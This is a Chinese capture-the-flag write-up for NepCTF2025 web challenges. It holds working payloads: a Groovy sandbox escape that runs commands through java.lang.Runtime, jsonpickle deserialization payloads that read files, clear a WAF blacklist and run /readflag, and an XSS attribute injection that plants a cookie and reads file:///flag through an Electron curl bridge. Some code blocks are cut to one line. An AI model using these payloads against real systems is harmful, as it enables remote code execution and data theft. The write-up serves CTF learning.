NepCTF2025_Web_Wp&复现
NepCTF2025 Web Wp&复现
Groovy & RevengeGroovy
测试可知java.io.File
,execute()等被禁用,但是exec()还可以
对java.lang.[]进行测试,发现大部分都被禁止了,剩下java.lang.Math不会爆startup failed
一直问AI倒是可以出来,原本看了篇文章用了好久的AST断言,发现只会返回类名无法回显
1 | java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("env").getText() |
然后发现Revenge一样可以用
JavaSeri
登入进去发现是shiro,自然想到shiro550反序列化漏洞,查看环境变量即可(Revenge怎么没了)
safe_bank
进来先注册一个账号登入看看
发现是普通用户,抓包看看
发现一段base64编码
1 | {"py/object": "__main__.Session", "meta": {"user": "1234", "ts": 1753705520}} |
不妨把user改成admin之后再编码上传
再上传,发现成功取得权限
诶诶,然后保险箱是假的flag,这好像也不是那么意外()
回到主页,看一下/about,这里的Base64编码用于Token传输大概率是利用不了了,可以注意到:使用jsonpickle
的高级会话管理,网上直接搜jsonpickle漏洞就能看到以下文章
从源码看JsonPickle反序列化利用与绕WAF-先知社区
里面的payload结构跟上面base64的结构相似,看起来可以尝试构造
构造如下:
1 | {"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargs": ["/*"]}, "ts": 1753705520}} |
再按照文章里进行读文件:
1 | {"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargs": ["/readflag"]}, "ts": 1753705520}} |
好吧,被拦截了,那就先看一下源码:
1 | {"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargs": ["/app/app.py"]}, "ts": 1753705520}} |
成功查看:
1 | from flask import Flask, request, make_response, render_template, redirect, url_for |
看到禁止函数
1 | def waf(serialized): |
可以看到这边几乎把编码绕过给限制死了,但想尝试CHR构造
1 | data = json.loads(serialized) |
尝试:
1 | {"py/object": "__main__.Session", "meta": {"user": {"py/object": "exceptions.exec", "py/newargs": [""".join([chr(i) for i in [95,95,105,109,112,111,114,116,95,95,40,34,111,115,34,41,46,115,121,115,116,101,109,40,34,99,97,116,32,47,114,101,97,100,102,108,97,103,32,62,32,47,97,112,112,47,49,46,116,120,116,34,41]])"]}, "ts": 1753705520}} |
诶诶,遗憾离场
看了看偶像LamentXU的Wp
用了删除黑名单的方式(神)
用了list
对象的clear()
方法
1 | {"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753705520}} |
通过调用FORBIDDEN
的clear()
,来达到把FORBIDDEN
中过滤的函数给清空的效果
这样的话就简单了
1 | {"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["/readflag"]},"ts":1753705520}} |
fakeXSS
一编:electron框架又是什么,腾讯云COS又是什么,待我修炼一番再来
二编:
下方可以下载客户端,下载后看图标可知是Electron框架,然后用WinASAR解压
main.js
1 | const { app, BrowserWindow, ipcMain } = require('electron'); |
最下面的,可以拼入URL,直接进行RCE,先放在一边
1 | const cmd = `curl -L "${url}"`; |
然后进去是个登陆界面,先注册登入看看,进去之后有个上传头像,分别抓包保存、刷新、上传,发现上传头像回显
Token
通过base64解码auth可发现这是腾讯云COS
1 | "{\"version\":\"2.0\",\"statement\":[{\"effect\":\"allow\",\"action\":[\"cos:PutObject\"],\"resource\":[\"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/picture/dccedea5-1d8d-4b5f-9e09-84aacc6dd937.png\"],\"Condition\":{\"numeric_equal\":{\"cos:request-count\":5},\"numeric_less_than_equal\":{\"cos:content-length\":10485760}}},{\"effect\":\"allow\",\"action\":[\"cos:GetBucket\"],\"resource\":[\"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*\"]}]}" |
(这个Token如果提示你失效了就重新发送一遍获得新的token即可)
借用nepctf 2025 web wp - LamentXU - 博客园的脚本
1 | from qcloud_cos import CosConfig |
可以跑出一共有多少文件可以被下载
然后选择下载server_bak.js,这里的flag.txt是假的
然后你会发现报错,但是往上看运行信息的时候你能看到一串链接,访问即可下载
server_bak.js(就是最开始登入界面的源码)
1 | const express = require('express'); |
从这一段可以看出密码:(nepn3pctf-game2025)
1 | // 用户数据库 |
再看根目录:
1 | // 登录页面 |
发现可以直接拼接 fileurl
进去,再看他设置背景的逻辑:
1 | // 设置登录页面背景 |
简单验证是否上传成功,再下面有个bot:
1 | app.get('/api/bot', ensureAuthenticated, (req, res) => { |
告诉我们需要用admin的权限,且bot不会带上admin的身份,所以我们需要把admin的cookie传给bot,这样
下方可以下载客户端,下载后看图标可知是Electron框架,然后用WinASAR解压
main.js
1 | const { app, BrowserWindow, ipcMain } = require('electron'); |
后利用 window.electronAPI.curl
拿出 flag 内容并通过保存个人简介接口将 flag 写入到账号 admin 的简介中
Payload:
1 | {"key":"x\" onload=\"document.cookie='connect.sid=s%3AqIRfC1AVwefcNWF6E7RWSJmeKUy7GHEx.S7ggxMeEcMGSz2rFDxT07%2BZ7%2B52ZRWDKGxCY%2Bo6g4lE';window.electronAPI.curl('file:///flag').then(data=>{fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""} |
然后GET访问/api/bot
再访问GET/api/user